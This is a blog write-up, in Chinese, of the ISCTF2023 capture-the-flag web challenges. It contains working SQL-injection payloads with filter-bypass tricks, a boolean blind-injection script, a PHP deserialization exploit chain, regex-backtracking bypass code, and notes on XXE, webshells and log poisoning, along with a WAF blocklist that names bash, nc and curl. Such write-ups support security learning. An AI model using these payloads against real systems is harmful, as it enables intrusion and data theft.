ISCTF2023

WEB

绕进你心里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>

md5的绕过不多说,数组直接奉上;intval()的绕过也可以用数组,它在处理数组时,若数组为空,则返回0,否则返回1

下一关就是利用preg_match()的特性绕过,preg_match()有一个回溯次数上限(可以类比于查询字符/字符串的次数上限)默认是1000000,超过这个数则返回false

exp:

1
2
3
4
5
import requests
url = 'http://gz.imxbt.cn:20308/?hongmeng[]=1&shennong[]=2&zhurong[]=3'
data = {"pan_gu": 'ssss'*250000 + '2023ISCTF'}
req = requests.post(url=url,data=data)
print(req.text)

圣杯战争

简单的反序列化,pop:

summon::__wakeup()->artifact::__toString()->prepare::__get()->saber::__invoke()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
return $this->excalibuer->arrow;
}
}

class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
return $functioin();
}
}
class saber{
public $weapon='php://filter/read=convert.base64-encode/resource=flag.php';
public function __invoke(){
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;

public function __wakeup(){
echo $this->Saber;
}
}
$Summon = new summon();
$Artifact = new artifact();
$Prepare = new prepare();
$Saber = new saber();
$Summon->Saber = $Artifact;
$Artifact->excalibuer = $Prepare;
$Prepare->release = $Saber;
echo(urlencode(serialize($Summon)));
?>

webinclude

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 function string_to_int_array(str){
const intArr = [];

for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);

const partA = Math.floor(charcode / 26);
const partB = charcode % 26;

intArr.push(partA);
intArr.push(partB);
}

return intArr;
}

function int_array_to_text(int_array){
let txt = '';

for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}

return txt;
}


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}

(这里扫出来一个index.bak文件,之前没扫出来是因为被校园网过滤掉了)

写一个逆向解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const parameter2 =  'dxdydxdudxdtdxeadxekdxea';

function text_to_int_array(text){
let int_array = [];

for(let i=0;i<text.length;i++){
let charcode = text.charCodeAt(i) - 97;
int_array.push(charcode)
}
return int_array;
}

function int_array_to_string(int_array2){
let text2 = '';
for(let i=0;i<int_array2.length;i+=2){
parta = int_array2[i];
partb = int_array2[i+1];
let charcode2 = parta * 26 + partb;
text2 += String.fromCharCode(charcode2);
}
return text2;
}
answer = int_array_to_string(text_to_int_array(int_array_to_string(text_to_int_array(parameter2))));

console.log(answer);

得到mihoyo

然后就是普通的文件包含了(之前dirsearch扫出来还有个flag.php)

easy_website

sql注入,简单地fuzz一下,发现过滤了or,and,select,空格等,对字符串的过滤可以用双写绕过,空格可以用/**/绕过。这题考虑报错注入而非盲注

admin'/**/anandd/**/updatexml(1,concat(0x7e,database(),0x7e),1);# -> users

admin'/**/anandd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users'),0x7e),1);# -> users

admin'/**/anandd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'/**/anandd/**/table_schema='users'),0x7e),1);# -> user,password

admin'/**/anandd/**/updatexml(1,concat(0x7e,(selselectect/**/passwoorrd/**/from/**/users/**/limit/**/2,1),0x7e),1);# 这里因为输出限制导致flag没有输出完整,可以用substring或者mid之类的函数 flag{f5ea3f34-c0eb-45ac-b35d

admin'/**/anandd/**/updatexml(1,concat(0x7e,substring((selselectect/**/passwoorrd/**/from/**/users/**/limit/**/2,1),19,30),0x7e),1);# 45ac-b35d-623f62014c27}

wafr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}

这题是个纸老虎,\并没有过滤,可以照常读取文件

1z_Ssql

过滤了=,+,sleep,union,where

order by测出来有三个字段(不过似乎没啥用?)

不过看过滤情况只能是布尔盲注

测试admin' and if(length(database())>1,1,0);#后发现有hint相关回显(虽然那hint没什么用就是了),是布尔盲注无疑了

(原题中好像是有附件的,但是这上面没有,只能看wp复现了:得到表名users和列名username,password

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests

url = 'http://gz.imxbt.cn:20511/'

# for i in range(40):
# payload = f'admin\' and if(length(database())>{i},1,0);#'
# data = {
# 'username': payload,
# 'password': 1234,
# 'submit': 1
# }
# print(payload)
# req = requests.post(url=url,data=data)
# for j in range
# if 'hint' in req.text:
# continue
# else:
# print(i)
# break # length = 6

result = ''
for i in range(1,50):
left = 32
right = 127
mid = (left + right) >> 1
while left < right:
# payload = f'admin\' and if((ascii(substr(database(),{i},1))>{mid}),1,0)#' # bthcls
# payload = f'admin\' and if((ascii(substr((select group_concat(username) from bthcls.users),{i},1))>{mid}),1,0)#' # admin
payload = f'admin\' and if((ascii(substr((select group_concat(password) from bthcls.users),{i},1))>{mid}),1,0)#' # we1come7o1sctf
data = {
'username': payload,
'password': 1234,
'submit': 1
}
req = requests.post(url=url,data=data)
print(payload)
if 'hint' in req.text:
left = mid + 1
else:
right = mid
mid = (left + right) >> 1
result += chr(mid)
print(result)

:::info no-icon

后面看wp才发现有信息泄露:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file("here_is_a_sercet.php");

function waf($str){
$black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}

?>

base64不能直接解密,可以在主页看看用的是什么方式加密

是一个SM4加密

直接找工具解密即可,waf是/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i

:::

Where is the flag

标准的一句话木马,实际上想考察的是linux的一些命令

第一个flag:当前目录下的flag.php ISCTF{Y0u_6u

第二个flag:根目录下一个flag cceeded_in_f

第三个flag:flag.sh里面 ind1n9_f1ag}

这个不知道对不对,当时在做的时候第二个找都找不到,flag1还是在/flag里面的

后面根据提示,在xxx中,猜想环境变量中应该是有的,毕竟web动态题生成flag还是很依赖环境变量来随机生成的

直接system('env');,发现还真有

ez_php

这题看着没太大突破扣,那就找一下附件里面有没有什么可以利用的吧

注意到register.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "utils/function.php";
$config = include "utils/config.php";
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST);
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");

if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");

if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password);

register_user($username, $config['user_info_dir'], $user_xml);

存在变量覆盖函数,可以试着往这个点打

同时发现,用户名和密码是以xml形式来存储的,根据这个可以试着用xxe打

由于function.php中存在这样一个函数

1
2
3
4
5
6
7
function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}

这样可以利用file://协议去读取flag

login.php中:

1
2
3
4
5
6
7
8
9
10
<?php
include "utils/function.php";
$config = include "utils/config.php";
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
$user_record = get_user_record($username, $config['user_info_dir']);
if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
header("Location:main.html");

我们可以通过输入错误的密码来让我们的注入得到回显

先抓个包,注册一个账号

然后故意输错密码:

成功回显,可以直接拿flag了

ez_ini

根据题目可以用.user.ini进行文件包含,由于在之前的测试中测出许多关键符号被过滤,所以只能放弃上传:horse:,转而用文件包含漏洞

这里我们可以包含日志文件,利用UA传:horse:

然后访问upload.php

作者

Ins0mn1a

发布于

2024-05-16

更新于

2024-07-31

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...